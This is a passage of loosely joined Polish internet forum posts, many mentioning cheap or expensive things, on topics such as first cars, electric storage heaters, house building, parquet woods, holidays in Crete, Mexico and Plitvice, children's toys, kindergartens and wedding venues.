irlandzkie czy wegierskie tanie linie...choć bilety w cenie podobnie
bo niedrogie to jednak maszyny na jakich lataja Belleair i ich
wygląd pozostawiają trochę do życzenia..
5.Napis na tle meczetu "Gezuar Pashket!" czyli "Wesołych Świąt
Wielkanocnych!"- to było zaskoczenie, bo nie wyobrażam sobie by
gdzieś indziej ktoś takie coś zawiesił przed meczetem
droga mamo mam 24 lat i od 18 roku życia jeżdze samochodem, pierwszy dostałem
od taty na urodziny (osiemnase) i był to opel astra 1.4 60KM Kombi, strasznie
był zamulony, jeździł jak by chciał a nie mógł ALE co najważniejsze JEŹDZIŁ i
to się liczy tylko i wyłącznie. Byłem super ekstra fantastycznie zadowolony że
dostałem taki samochód miał same zalety: duży pakowny(kombi) i mało palił,
części zamienne też niedrogie. Na Początek Polecam Właśnie ASTRE KOMBI 1.4
rocznik 2001/2002 niepowinien być drogi a i pojeździ jeszcze troche.
PS. teraz mam Honde Civic 1.4 Sedan też fajne autko.
ogrzewanie - piece akumulacyjne ?
witam,

mam pytanie o piece akumulacyjne z rozladowaniem dynamicznym. jesli ktos z
Panstwa ma lub mial jakies doswiadczenia na tym polu, prosze bardzo o pomoc.

chodzi o mieszkanie na saskiej kepie, gdzie jest tylko elektrycznosc. nie mamy
gazu ani centralnego. dom jest stary, z 1939 roku, a piec w piwnicy i rury
pewnie do wymiany. mieszkamy na parterze, onka sa jeszcze drewniane, a wiec
duzo ciepla tez ucieka ta droga. mysle, ze ewentualna wymiana rur w piwnicy to
duza inwestycja. ponad to mamy druga taryfe i ogrzewalismy tylko w nocy i 2h w
ciagu dnia, ale i tak bylo zimno. w nocy robilo sie nagle 40 stopni, a potem w
dzien kaloryfery sie wychladzaly i trzeba bylo wlaczac co jakis czas piecyki
olejowe. dla mnie i tak bylo zimno.

zastanawiam sie dlatego nad piecami akumulacyjnymi z rozladowaniem
dynamicznym. sa drogie, ale chcialabym kupic ewentualnie uzywane.
podobno jedyna rzecz, ktora sie moze zepsuc w srodku jest grzalka, a te mozna
by niedrogo kupic. czy to prawda? czy dobrze jest kupic uzywany piec?
(potrzebuje az 3)

czy ogrzewanie tymi piecami sprawadza sie ? pytam, poniewaz, zeby je
zainstalowac, musze przerobic instalacje w mieszkaniu. a to tez koszty.
czy jezeli bede ogrzec tylko na drugiej taryfie ( 8h w nocy i 2h w dzien), to
bedzie cieplo czy i tak trzeba bedzie jeszcze dogrzewac ?

mam 3 pokoje + kuchnie. wielkosc pokoju to 20 mkw, kuchnia ma okolo 12 mkw.
nie wiem, czy potrzebuje 2 czy 3 kilowaty ?

pozdrawiam i z gory dziekuje za pomoc
Zmieniłem troche w projekcie tzn. zamienilem te wszystkie drewniane słupy na
cegłę klinkierową, też tanio zakupiłem, balkon wylany z betonu na calej
długości nie przerywany podparty trzema słupami z klinkieru no i oczywiscie pod
daszkiem nad wejsciem slupy tez z klinkieru. Dach kryty bezposrednio na
krokwiach folią wysokoparoprzepuszczalną no i blachodachowka, poddasze będzie
ocieplane wełną mineralną. Za położenie więżby dachowej czyli to wszystko
drewniane to zaplace 1500 zl. jak widac to nie drogo, no ale to tez zalatwil mi
kolega przez jego kolege a tamten jeszcze przez kogos, tak ze naprawde trzeba
bardzo chcieć to napewno sie znajdzie dobrych fachowcow i niedrogich czego
wszystkim zaczynającym budowę domu życzę.
stary, drewniany dom - szacowanie kosztów remontu
Witam,
znaleźliśmy stary dom do zakupienia. Dom - marzenie. Nie chcielibyśmy jednak,
żeby to marzenie okazało się rozczarowaniem: poszukujemy kogoś, kto zna się
na tego typu budownictwie, żeby obejrzał budynek i oszacował nam, ile będzie
kosztował jego remont. Przede wszyskim zaś zależy nam na tym, żeby uniknąć
niespodzianek typu: wiemy, że trzeba remontować ściany ale za rok okazuje
się, że wali się dach albo siadają fundamenty albo inny kołatek zżera
drewno....Znacie kogoś uczciwego i niedrogiego, kto by nam powiedział: remont
tyle i tyle - bierzcie to, albo : nie bierzcie, bo to ruina...
Niektórzy twierdzą, że drewno egzotyczne jest mało bezpieczne ze względu na
tzw. rozsychanie się. Ale to zależy od gatunku! Są gatunki stabilne (drogie np.
Iroko, Teak, Doussie) i małostabilne (tanie, np. Kempas). Ale trzeba jeszcze
zwrócić uwagę na twardość - chodzi o to, żeby nie kupić czegoś o parametrach
europejskiej sosny. Polecam odwiedzenie strony www.dlh.pl i ściągnięcie sobie
opisów technicznych drewna (Biblioteka - Dane techniczne). Mówienie, że drewno
egzotyczne jest wrażliwe na warunki panujące w polskich mieszkaniach, jest
propagandą producentów parkietów. A jeśli ktoś mi nie wierzy, to niech sobie
kupi polski parkiet bukowy, a za dwa lata będzie miał kilkumilimetrowe szpary.
W każdym bądź razie ja jestem zwolennikiem drewna dębowego, które w wersji
egzotycznej występuje pod nazwą Tauari - niedrogie, w miarę twarde i w miarę
stabilne.
Pozdrawiam
M.
czesc,
drogi sa srednie, z przewaga tych gorszych, jesli chcesz naprawde cos
obejrzec, to wypady z Malia do Chania np na jeden dzien sensu nie maja (nawet
jesli masz samochod) oplaca sie pojechac na dwa-trzy dni i przenocowac w
jakims niedrogim hotelu- z braku turystow ceny sa dosyc rozsadne.
zachodnia Kreta jest generalnie ladniejsza niz wschodnia- szczegolnie jesli
chodzi o miasta, chociaz wschodnia tez swoj urok ma. swoja droga Malia jest
raptem 30 km od Heraklionu, wiec mozecie sie wybrac bardziej na wschod np do
Sitia i Vai.

pozdrawiam
grazyna
Nowe połączenia kolejowe
To jest lekarstwo i alternatywa na drogi...
Bezpośrednie połączenie Kraków -Nowy Sącz
Nowy Sącz -Zakopane. A drogi można też "swoją drogą" niedrogo
modernizować.
A tak przy okazji, słyszał ktoś o budowie linii kolejowej KRK NewS?
A odpóścić sobie rozbudowę lotniska w Łososinie Dolnej... Mżonki.
> Topjes - właśnie o to chodzi : wybrałeś co Ci odpowiada i skorzystałeś z
> wolności wyboru.Gratuluję i zazdroszczę

Tylko, że miasto to miasto - nie może być tak, że właściciele 20 domów
terrroryzują kilkaset tysięcy ludzi utrudniając im komunikację. Obwodnica miasta
być musi - i koło kogoś musi wypaść, prawda? Zawsze będzie biegła koło czyichś
domów, osiedli itp - jeśli ktoś nie jest w stanie zaakceptować tego powinien
sobie kupić dom w lesie ;)

Zresztą to jest ciekawe. Jak widać coraz więcej ludzi już rozumie, że mieszkanie
przy węźle autostradowym to doskonała lokalizacja.

========

MAZOWSZE: OSIEDLA PRZY AUTOSTRADZIE A2

Z raportu na temat korzyści z autostrady A2 wynika, że w promieniu 100 km od
stolicy, zaraz po otwarciu autostrady A2, zaczną powstawać niedrogie osiedla.
Dojazd do Warszawy np. z Łowicza zajmie około pół godziny. Autostrada przez
Mazowsze ma być gotowa w 2007 roku.

Według raportu w okolicach zachodniego „podejścia” A2 do stolicy powstanie co
najmniej dziesięć osiedli. Drugie tyle zostanie wybudowane po wschodniej stronie
Warszawy, na odcinku Konik Nowy – Kałuszyn. Autostrada A2, jako droga
ekspresowa, przetnie Ursus, Włochy, Ursynów (tunelem), Wilanów i Wawer.
Pobiegnie w kierunku Siedlec i Terespola. Osiedla na zachód od Warszawy będą
gotowe już w 2008 roku.

==========

pzdr
topjes
hmm
moje doświadczenia następujące są:

Jakub wielu rzeczy nie miał, które chciałabym mu kupić- właśnie
takie garnuszki itp. Jak dostał telefon taki gdzi można parę słów
nagrać to i jako roczniak i jako trzylatek bawi się nim świetnie (
oczywiście w inny sposób). Generalnie z drogich zabawek jestem fanem
klocków - lego duplo i klocków drewnianych - ato dlatego, że
ochoczo bawię się nimi ze swoim synem i obojgu nam to sprawia radość.

Lubę takie zabawki którymi sama mam ochotę się bawić
Niestety zazwyczaj są to te droższe ale
równie dobrze bawimy się kolorowym papierem i nożyczkami + klej,
kredki i blok, farby itp.

No i nie mogę dalej sie rozwodzić bo dziecko mie woła do czytania
książki ( niedrogiej) - noi o to chodzi właśnie bysobie razem czas
spędzać ))))
raporcik
Latałam wczoraj po sklepach z zabawkami i kiepsko. Obleciałam: 1)markety -
pustka po świętach, nawet puste półki 2)sklep Brio w Tesco -drogie drewniane
kolejki i nic ciekawego poza tym (erika - są tam lalki teletubisi) 3)sklep na
Polnka 38 - malutki, raczej drogie typowe rzeczy, nie ciekawe 4)Smyk - jeszcze
najlepsze zaopatrzenie ale jak zwykle drogie i też przeżedzone 5)osiedlowy
sklepik na Miedzyniu - tu cos znalazłam ale nie dla tych dzieci dla których
musze miec prezenty na wtorek. No ogólnie kiepsko z zabawkami niebanalnymi i
niedrogimi.
Na temat przedszkola na Gliwickiej równiez niewiele moge powiedziec
bo po prostu jak już zauwazyłas to jeszcze ono nie działa. Ponieważ
byłas tam to pewnie szczegóły dzialalnosci tej placówki są tobie
znane wiec nie bede na ten temat pisała. Ale swoją drogą strasznie
drogie a na razie nie wyglada na rewelacyjne. My chociaz mieszkamy
na Miedzyniu nasza córcie wozimy do przedszkola w miescie na
Bartodziejach. Jest to przedszkole Radość. Przedszkole niepubliczne
niedrogie 250-270 zł a w tej cenie sporo atrakcji i zajec dla
dzieciaczków a przede wszystkim dwa razy w tygodniu basen. Wiecej na
temat przedszkoli dziewczyny juz pisały na tym forum
forum.gazeta.pl/forum/72,2.html?f=23528&w=74646199
forum.gazeta.pl/forum/72,2.html?f=23528&w=77770091
To może ranking 5 najlepszych hoteli?
Moje typy:

Absolutny nr 1 - Gala Huatulco, Oax.

doskonały all inclusive z nieźle wyposazonymi pokojami, bardzo miłą obsługą,
ciekawym programem animacyjnym, udogodnienia dla rodzin z dziećmi, kilka
restauracji z bardzo dobym menu (zarówno bufet jak i a la carte). Doskonała
relacja jakość/cena.
Malutkim minusem jest duża skała w samym centrum zatoki nad którą położony jest
hotel bardzo utrudniająca uprawianie sportów wodnych. No ale to nie wina hotelu.

Nr 2 - Las Brisas, Queretaro

Hotel ze wszytkim co można sobie wymarzyć - posiada nawet stadninę koni.
Doskonała kuchnia, przy tym hotel stosunkowo niedrogi. Miejsce w sam raz na
relaksujący weekend.

Nr 3 - La Estancia, Leon, Gto.

Za wystrój wnętrz. Starodawny styl, rzeźbione fotele, meble... No i położenie -
tuż przy Plaza del Zapato i blisko wielkiego "mercado" z wyrobami skórzanymi.

Nr 4 - Cabanas Ana y Jose, Tulum, Q.Roo

Zespól domków położony nad turkusowymi wodami morza karaibskiego. Śliczne
budynki kryte liśćmi palmowymi, ładnie umeblowane w stylu "rustico". Jest też
tam basen. Minusik za zbyt drogą restaurację, chociaż z bardzo dobrym jedzeniem.

Nr 5 - Hotel Villa Florencia, Puerto Angel, Oax.

Hotelik nie mający porównania do tych wymienionych wyżej, jednak jeden z moich
ulubionych za atmosferę tam panującą. Połozony tuż przy boskiej plaży, posiada
wspaniałą kuchnię, meksykańsko - włoską. Ulubione miejsce na wieczorna
spotkania przy tequili "backpackers" z całego świata.

Czekam na Wasze typy!

pzdr.
Jak to milo! To w takim razie bylam wczoraj u fryzjera w Twoim domu. Calkiem
milo mimo, ze to nie salony jakies wymuskane ale przyjemnie i niedrogo. Ja tez
czesto jezdzilam 180 i 111 ulubione autobusy bo zawsze zawioza do domku i
prawie zawsze mozna usiasc /bo jada z petli/ Teraz nie jezdze juz tak
czesto /bo samochodzik sie pojawil/ ale jak pada snieg to nie ma sily - zawsze
111 do metra.Jesli o autobusach mowa to jak jeszcze metro nie dochodzilo do nas
to pamietam autobus 516, mial odjazd 06.55 i jak przegapilam to w pracy /daleki
Mokotow/ bylam pol godzinki spozniona. A teraz myk-myk i w pol godzinki jestem
na miejscu. Lubie opowiadac o tym naszym Muranowie. A podobno w naszej okolicy
przed wojna mieszkala najwieksza biedota zydowaka w drewnianych domach i
okolica uchdzila za bardzo niebezpieczna. Nawet Singer opisuje z trwoga jak
Sztukmistrz z Lublina zapuszczal sie w dalekie tereny na Mila czy Niska. Oj
moglabym jeszcze duzo tak gadac ale nie chce zanudzac. A na Kompleks Dzielna -
mimo ze teren ucywilizowali to gniewam sie troszke bo pan z parkingu nie chce
puszczac przez szlaban zeby z Dzielnej przejsc na Pawia i trzeba leciec na
okolo. Do uslyszenia.
Wszystkim nam łatwo jest oceniać, ale nie tędy droga, bo każda z nas ma swoje
zdanie, tak naprawdę uważam że potrzebujesz profesjonalnej pomocy. Owszem
polecam Asentrę, niedroga i skuteczna, ale ktoś musi Ci wystawić receptę. Dobry
psycholog czy też psychiatra ( tu drogie emamy raczej pomóżcie) nauczy Cię
dystansować się do małżonka i zaistniałej sytuacji, nie wstydź się skorzystać z
pomocy lekarza, zrób to dla dzieci. Naucz się nie reagować na awantury małżonka
i przestań na niego liczyć, licz na siebie i przyjaciół, jeśli ich nie masz
poszukaj nawet tu na forum, to mądre doświadczone emamy. Na pewqno masz objawy
depresji, ale problem tkwi również w uczuciach , którymi niestety dażysz
małżonka, postaraj się zdystansować, to jedyne wyjście, facet nie jest wart.
Pozdrawiam ciepło. Kasia
Jesli mowa o rowerku to poleciłbym Pławnowice - do obejrzenia jezioro, piękny
pałac, oraz nieco dalej muzeum - obóz jeńców wojennych Sławęcice. Jeśli jeszcze
masz siły to zachacz o Ujazd - ruiny pałacu, lub Toszek - dosyć fajny zamek oraz
dobra pizza na rynku ;)
Idąc w drógą stronę od TG - wpierw Świerklaniec i kawka w Domku kawalera, potem
w Dobieszowicach obejrzyj sobie odnowiony przez towatzystwo "Pro Fortalicium"
bunkier obronny z lat przedwojennych i udaj się rowerkiem w stronę Przeczyc -
troszkę trudniejsza trasa zważywszy na górki, ale za to ciekawa okolica i piękne
widoki.
Trzecia proponowana trasa to Kalety - od TG niemal cały czas przez lasy. Z Kalet
udaj się na Brusiek i polecam tam krótką przerwę w sklepiku "U Rafała" można
wypić kawkę, zjeść itp - niedrogo. Następnie tą samą drogą wjezdżasz w las, po
minięciu domków skręcasz w prawo i trzymiąc się szlaku turystycznego dojedziesz
do pięknie położonego domku myśliwskiego z tysiącosiemsetktóregoś tam roku :) A
to wszystko nad fajnym jeziorem w otoczeniu lasów :)
Polecam gorąco. Podajcie swoje trasy, jesli takowe posiadacie, lub po prostu
ciekawe i warte zwiedzenia obiekty.
Ja dzisiaj pojechałam do hurtownii na upalnej, bo ktoś mi powiedział, ze jest
tam niedrogo. Nic nie kupiłam i nic ciekawego nie znalazłam, Ubranka sa dośc
drogie, bez większych rewelacji. Jak potem porównywałam ceny z tym co sistra
rok temu pokupowała na kawaleryjskiej to okazało sie, ze również droga jest tam
pościel, materac, wózki więc chyba nie opłaca sie robić tam zakupów. Ja cześć
ubranek pokupowałam w auchanie, głównie bielizna, jest niedroga, zwłaszcza jak
są promocje. Ktoś moze jeszcze zna jakieś dobre tanie sklepy czy hurtownie?
Moje doświadczenie w materii decou też znikome, ale motywacje miałam podobną i
jak na razie nie czuję sie rozczarowana. Rodzina i znajomi też chwalą, ale
spróbowali by tego nie robić ))
Zaczynałam od takiego zestawu z creativ hobby (doniczka, farby, krak, haftgunt,
lakier).To dobry, choć dość drogi sposób na rozpoczęcie tej przygody. Potem
klasyczne decou i oblepianie serwetkami przedmiotów, które i tak miały być
poddane utylizacji
Cieniowań na razie unikam. Zdjęć nie prezentuję, bo nie mam cyfrówki ale
niech no tylko ją dopadnę!
A odpowiadając na pytanie w sprawie farb - EMALIA akrylowa do metalu i drewna (w
każdym markecie budowlanym) - najlepiej biała + barwniki (tempery, barwniki z
marketów albo np. farby akrylowe - były niedrogie w Rossmanie - więcej o tym w
linku forum.gazeta.pl/forum/72,2.html?f=23390&w=31041702&a=31041702
uffff... ale się rozpisałam
Jestem jednym z tych " niewdzięczników", którzy pomniejszają dochody Łomianek.

To że dom mam nieodebrany, nie wynika jednak z chęci niepłacenia podaktu od
nieruchomości ( choć już sam podatek od gruntu wystarczy by serce zadrżało),
lecz usytuowania Łomanek w strukturze samorządowej.
Jednym słowem jako osoba pracująca , nie mogę się jakoś zebrać by wyruszyć na
wielką wyprawę w nieznane czyli do Ożarowa. Nigdy tam nie byłam i nie bardzo
nawet wiem jak dojechać. Z rozżewnieniem wspominam dawne dobre czasy , gdy Ł.
należały do Nowego Dworu Maz.
A swoją drogą ,czy ktoś zna niedrogiego kierownika budowy??
Mój zaniemógł zanim zdołał zakończyć dziennik budowy.
Ewo DROGA .... poczytaj uprzejmie mój post ze ZROZUMIENIEM i wysil sie aby
zauwazyć ironię. A jesli nie dość jasna jest ironia to wyjaśniam , że foto
ślubik wielokrotnie krytykował bardzo chamsko na tym forum również mnie , ale
nie tylko za to np. .... że poprosiłam o kontakt z niedrogimi fotografami.
Dowiedziałam , że od niego np. że to moja wina i chyba jestem jakaś nie taka
skoro nie potrafię zarobić na drogiego fotografa.
Gość portalu: Robert napisał(a):
> klucz w Bydgoszczy. Dom ma mieć 120 m2 + garaż i poddasze użytkowe.

Budujesz drogą chałupę, a szukasz taniej ekipy....

> Czy ktoś może mi polecić solidną i niedrogą firmę

Te cechy najczęściej się wykluczają
> Witam, czy na zwiedzanie jezior mozna wziac wozek-parasolke

Można. Co prawda na ścieżkach jest dość wąsko i będziesz trochę przeszkadzać ale
dasz radę. Są miejsca gdzie trzeba będzie przeniść wóżek - będą potrzebne do
tego 2 osoby
lepsze było by nosidełko i częste odpoczynki
Albo dać sobie spokój ze zwiedzaniem aż dziecko podrośnie. Ono nic nie
zapamięta, wy się namęczycie, jeziora nie uciekną. Żeby spokojnie zwiedzić
jeziora trzeba co najmniej 6 godzin a najlepiej 8. Na mniej nie warto wchodzic,
szkoda kasy.

> Czy zabrac jedzenie na cale zwiedzanie czy na miejscu sa jakies
> niedrogie knajpki/bary?

Jest jedno miejsce z jedzeniem ale nie jest tanie. Tanie i Plitvice to w ogóle
nie są słowa które nalezy ze sobą łączyć

> I, jesli ktos moglby poradzic, mniej wiecej jak szybko mozna tam
> dojechac z Wwy (nie w weekend) - zastanawiam sie, czy jest szansa
> bez miedzynocowania? Czy trasa przez Wieden i Slowenie bedzie
> najszybsza

Jak macie 2 kierowców, wyjedziecie gdzieś o 3 nad ranem to dacie radę. Ta trasa
jest najszybsz ale dosć droga (Slowenia winietka 35 euro)

> Czy w okolicy jezior znajde nocleg juz po przyjezdzie na jakies 2
> noce, na poczatku sierpnia, czy raczej nie ryzykowac?

Nie ma żadnego problemu ze znalezieniem noclegu na miejscu. Wzdłuż całej drogi
przechodzącej przez Plitvice jest pewnie kilakset domów z apartamentami do
wynajęcia. Nie trzeba nic rezerwować, wystarczy zacząć szukanie jakieś 30km
przed jeziorami bo czym bliżej parku tym trudniej i drożej a was te 30km nie zbawi
ja bym dodala miarki do maki i innych takie na 1 cup, 1 tablespoon-nie wiem czy
sa w Poslce a ulatwia to wykorzystywanie amerykanskich przepisow. A zamiast
ksiazek willams sonoma porzadna amerykanska Joy of Cooking-nie jest az tak
droga a zawiera w sobie cala amerykanska tradycje. Polecam w ogole wizyte w
ksiegarni w dziale kulinarnym-sa fajne zreczy , niedrogie , piknie wydane,
czesto sa sales
-cukierki jelly beans-te originalne w 39 smakach (sa w CVS)
-jezeli jestes za organicznym jedzeniem to rozne takie, co to w Poslce albo
drogi albo ich nie ma czekolady, kawa, slodycze, czy chipsy organic (nie mowic
o srodkach czyszczacych ale to chyba za duzy balast zeby wozic pzrez Ocean)
-sa fajne formy do pieczenia tzw bundt cakes-w ksztalcie rozy czy katedry-
zaznaczam ze nie byalmw Polskim sklepie agd juz kilka lat i nie wiem czy sa
ogolnodostene w Polsce
Dostalam paczke z BAWI!!!
my po przeczytaniu postu od chyba xixx o tym, co zamierza dziecku na Gwiazdke
kupic, kupilismy dwie zabawki bawi. Byla wtedy promocja na tygryska z pozytywka
i dokupilam jeszcze poduszke-lwa.
Bylo napisane, ze przesylka za darmo. I wiecie co? Oni mi to nawet do Niemiec
za darmo przyslali! A te przesylki sa naprawde drogie!
Dzis zabawki doszly. BArdzo ladne! Tygrys jest spory! Wiekszy niz myslalam. Ten
lew mi sie b. podoba (wiecej mozna z nim robic). MOj synek nie interesuje sie
nim jakos szczegolnie (tzn. pobawi sie troche, ale nie jakos super, super
zawziecie). Zauwazylam, ze moje dzieci wola filigranowe drewniane zabawki-
grzechotki-gryzaki. W NIemczech tego zatrzesienie. Tez sa ladne, kolorowe. U
nas maja b. duze powodzenie.

Acha! I jak zakupilam te dwie zabawki BAWI, to napisalam do nich, ze chcialabym
tez tego pieska, ale za pol ceny tej, ktora wtedy byla na allegro. Zgodzili
sie. TEraz czekam na paczke z pieskiem.

A tak wogole to uwazam, ze te zabawki na allegro sa stosunkowo niedrogie. Oni
jeszcze robia te promocje (chyba chca, zeby ludzie poznali marke i kupili
nastepne drozsze zabawki, bo to marka w Polsce nie znana). We Francji te
zabawki kosztuja znacznie wiecej. A na promocji to np. piesek naprawde ma dobra
cene w stosunku do jakosci tych zabawek.

Ja jestem zadowolona.
Oooo tez mnie to wkurza, jak mi babsko mowi, ze czegos takiego w ogole nie ma
tylko dlatego, ze nie ma tego u niej w sklepie i ze tego na oczy nie widziala,
keidy ja wiem, ze jest i firma to produkuje, i nawet ma to pokazane w ofercie
na stronie internetowej, i keidy kolezanki tego uzywaja itd! I jak mnie
wkurzaja babska, ktore chca mi wcisnac np. tusz za 40 zl, keidy ja wyraznie
mowie na poczatki NIEDROGI tusz pogrubiajacy np., albo komentarze w stylu "o tu
ma pani niedroga szminke w takim kolorze", a keidy pytam o cene, pani mowi 20
zl, 30 zl itd., kiedy dla niektorych 20 zl to juz droga szminka i wiem, ze moja
mama jej nie kupi, i dlaczego to babsko mi wmawia, ze tyle jest drogo, a tyle
niedrogo, czemu ona ma o tym decydowac, co dla mnie jest drogie, a co tanie, a
ja mam sie potem glupio czuc, jak poprosze o cos tanszego. Juz nie wspomne o
tym, ze proponuja mi cos zupelnie z innej bajki niz to, co chce (np. puder
brazujacy, kiedy ja chce rozswietlajacy albo podklad rozswietlajacy, keidy ja w
dalszym ciagu pytam o PUDER rozswietlajacy!). :/
Moje dziecko ma 6,5 roku i rozmiar 35! Młodszy syn 2,5 roku ma porównywalnie
jeszcze większą nogę niż miał brat w jego wieku. Kupowałam i Bartki i Naturino
i Antylopy, choć te ostatnie w wersji zimowej są po prostu nie do wygięcia!
Niestety jak w tym roku zobaczyłam zimowe Bartki za 280 zł - i tylko jeden
nieciekawy model w tym rozmiarze (bo już "po sezonie") to po prostu szczęka mi
opadła. Niestety dla chłopaków nie ma fajnych, niedrogich butów a te które
oglądałam niestety były ciężkie, sztywne i zwyczajnie brzydkie więc kupujemy
drogie ale zagraniczne - w tym roku Rohde - bardzo fajne z Sympatexu świetnie
odszyte a i tak tańsze od Bartka. Myślę, że Bartek obrósł w piórka i jedzie na
wyrzutach sumienia matek. A swoją drogą miłe panie skąd tyle agresji i jadu nie
można by z większym dystansem do samych siebie? Pozdrawiam wsystkich
gorąco
Ja od pewnego czasu robię listę pomysłów na prezenty bo potem reszta rodziny
prosi żeby kupić coś dla córki w ich imieniu a ja mam pustkę w głowie.
Większość pomysłów pokrywa się z Waszymi: klocki Lego Duplo (bardzo fajny jest
ten domek, przytoczony wcześniej!), drewniane puzzle (już mamy 2 zestawy i
fajnie się sprawdzają), drewniane sanki.
A oprócz tego, właśnie większy zestaw ciastoliny. Mamy tylko taki podstawowy z 3
kolorami i chcemy kupić większy z różnymi kształtami do wyciskania itp.
Generalnie bardzo to polecam. Poza tym, na Mikołajki chcemy zamontować córce na
futrynie standardową drewnianą huśtawkę. Na pewno fajnym i niedrogim prezentem
są te małe książeczki do czytania (dużo obrazków i mało tekstu na jednej
stronie). Te, które ma, zna już na pamięć. No i na koniec, strasznie mi się
spodobały te stemple i chyba też się skuszę
U nas hitem okazała się tablica magnetyczna. Za naszych czasów to się nazywało
"znikopis" ) Rzeczywiście super rzecz i niedroga. Tylko to jest większe od
znikopisu (format podobny do A4) i oprócz rysika są też 4 stempelki.
Oprócz tego oczywiście drewniane puzzle.
Dostała też klocki Lego ale entuzjazm średni. Dołącza się jak my z mężem
układamy ale bez rewelacji. I jeszcze od prababci dostała taki "namiot-domek".
Też bardzo fajny ale nie bawi się w nim jakoś długo.
Natomiast zupełnie nie jest na etapie lalek czy misiów. Dostała 2 misie i lalkę
i zero zainteresowania. Wszystkie tego typu prezenty są jedynie ozdobą pokoju
dziecinnego. Ale na pewno przyjdzie faza i na to.
My bedziemy miec w "odlocie" na muchowcu w katowicach - sala widna i ladna,
klimatyzacja i nawet fajnie cenowo od 125 zl od osoby :)Zjezdzialam z
przyjaciolka katowice i chorzow i odlot wydal nam sie najfajniejszy :D jeszcze
niezle wrazenie zrobil na nas dom weselny Avocado w bogucicach- wlasny ogrodek,
klima, czysto, ladnie i profesjonalnie tylko otoczenie troszke do bani, ale ze
srodka tego nie widac ;)ogolnie trzeba jezdzic i ogladac ogladac ogladac,
zapisywac ceny i wrazenia. niedrogi tez jest champion w chorzowie, kamienny
kasztel uroczy i moze tam wcisniesz 30 osob :D Lania droga i ciemna, la cantina
sliczna ale oblednie droga (190 os, alkohol tylko z baru i po 24 dodatkowe
1000zl dla obslugi) itp itd nie mam teraz mojego notesu ze soba :D Przyjaciolka
bedzie miala wesele w sali weselnej restauracji kim na kostuchnie :) milego
szukania!
tachogti napisał:

> My bedziemy miec w "odlocie" na muchowcu w katowicach - sala widna i ladna,
> klimatyzacja i nawet fajnie cenowo od 125 zl od osoby :)Zjezdzialam z
> przyjaciolka katowice i chorzow i odlot wydal nam sie najfajniejszy :D jeszcze
> niezle wrazenie zrobil na nas dom weselny Avocado w bogucicach- wlasny ogrodek,
> klima, czysto, ladnie i profesjonalnie tylko otoczenie troszke do bani, ale ze
> srodka tego nie widac ;)ogolnie trzeba jezdzic i ogladac ogladac ogladac,
> zapisywac ceny i wrazenia. niedrogi tez jest champion w chorzowie, kamienny
> kasztel uroczy i moze tam wcisniesz 30 osob :D Lania droga i ciemna, la cantina
> sliczna ale oblednie droga (190 os, alkohol tylko z baru i po 24 dodatkowe
> 1000zl dla obslugi) itp itd nie mam teraz mojego notesu ze soba :D Przyjaciolka
> bedzie miala wesele w sali weselnej restauracji kim na kostuchnie :) milego
> szukania!
dzięki za wyczerpującą informację,też trochę szukałam ale zupełnie się
zagubiłam,muszę się na coś zdecydować
Witam ponownie.
Co do pekania to raczej nie popeka. Chyba ze drewno bedzie mokre, ale z tego co wiem , uzywaja juz suszonego. A te domki firmy domex, tydzien temu kosztowaly mniej;(. Mieli podwyzke. Ten Ania, moj imiennik byl o 25 tys. tanszy. Ale w sumie i tak sa niedrogie.
Powiem Ci, ze przeszukalam kiedys wiele firm i te dwie podane zwrocily moja uwage. Najlepiej byloby obejrzec ich realizacje, wtedy bedziesz mial wieksze wyobrazenie.
Mozna tez duzo zrobic samemu, zalezy kto ma jakie zdolnosci.
Wydaje mi sie, ze w takim domu drewnianym wszystko musi byc dobrze zrobione, dobrze polozone kable, folie, ocieplenie. Musialbys sobie przeliczyc czy wyjdzie Ci taniej robic samemu, czy zlecic to firmie.
Pozdrawiam. I zycze bardzooooo milego zastanawiania sie ;)
okna drewniane - jaka firma niedroga i solidna?

Witam!

Potrzebuje okna proste drewniane do domu plus balkonowe rozsuwane niski prog -
możecie polecić/odradzić jakiś dobrych i niekoniecznie drogich producentów
drewnianej stolarki? Okna mają być też ładne:). Ale przede wszystkim solidne
wykonanie i estetyka na "6".

Rozważam:
Stolarka Wołomin
Adpol
Fair Basse
Słowińscy z Słupca

Dziękuję za wpisy!
Dziękuję za wszystkie dotychczasowe komentarze, przyjmuję
konstruktywną krytykę i proszę o więcej opinii.

Jeśli chodzi o te nieszczęsne 100m2 - zanim wyprowadziłem się z domu
rodzinnego, mieszkaliśmy w 5 osób w 90-metrowym pudełku-bliźniaku i
nikt nikomu po piętach nie deptał. Ale OK, załóżmy, że dokładamy te
30-50 m). W domu, o którym rozmawiamy, mają mieszkać 2 osoby dorosłe
i 2 dzieci (na razie jestem w połowie realizacji planu
prokreacyjnego). Czyli 3 sypialnie (1 większa i 2 mniejsze), salon
(45 m kw. to przesada - 30 wystarczyłoby w zupełności) otwarty na
niedużą kuchnię (nie mamy w zwyczaju urządzać hucznych przyjęć,
gotujemy też niewiele i mało wystawnie), 2 łazienki. Jeśli chodzi o
projekty, to podobają mi się nowoczesne domy parterowe (takie
rozpełzłe na boki, a nie w górę), ale z drugiej strony całe życie
marzę o poddaszu ze skosem i gabinecie na tym poddaszu, na którym
mógłbym spokojnie pracować (z zawodu jestem
tłumaczem/dziennikarzem). Nie miałbym nic przeciwko domowi z drewna -
kanadyjskiemu czy z bali. Co o nich myślicie - jak przyjdzie zły
wilk i dmuchnie, taki domek się nie poskłada? Działka chętnie na
zadupiu (podstępem chcę wyprowadzić rodzinę z miasta na prowincję),
widok z okna na Beskidy/Jurę Krakowsko-Częstochowską. Przytulnie,
kameralnie, spokojnie, niedrogo. Tak chcę żyć :)
Właściwe to zbyt pochopne to moje pytanie. Z twojego postu nie
wynikało, że prze 5. klasą nie mieliście pianina. My też taki zakup
mamy w perspektywie, ale najwcześniej za rok, więc na razie musimy
się pomęczyć. Sonduję, czy jesteśmy wyjątkiem. Dotąd się cieszyłam,
że mała wybrała taki nieduży i stosunkowo, w tym momencie, niedrogi
instrument. Teraz wygląda na to, że prócz małego, na razie
niedrogiego, z czasem pewnie dość drogiego potrzebny będzie jeszcze
duży i drogi .
Znam chłopaka, teraz już w II klasie II stopnia, który gra na
instrumentach perkusyjnych, a na fortepianie zasuwa całkiem nieźle,
pianina w domu jednak brak, tylko że perkusji wcale stroić nie
trzeba.

Ostatnio odkryłam, że Małgosia sama sobie bardzo dobrze radzi ze
strojeniem skrzypiec, więc zupełnie niepotrzebnie ciągle je sama
stroję przy pomocy AP Tunera, a przecież im bardziej jest od mnie
niezależna, tym lepiej. Dźwięki strun D, A i E podaję stąd:
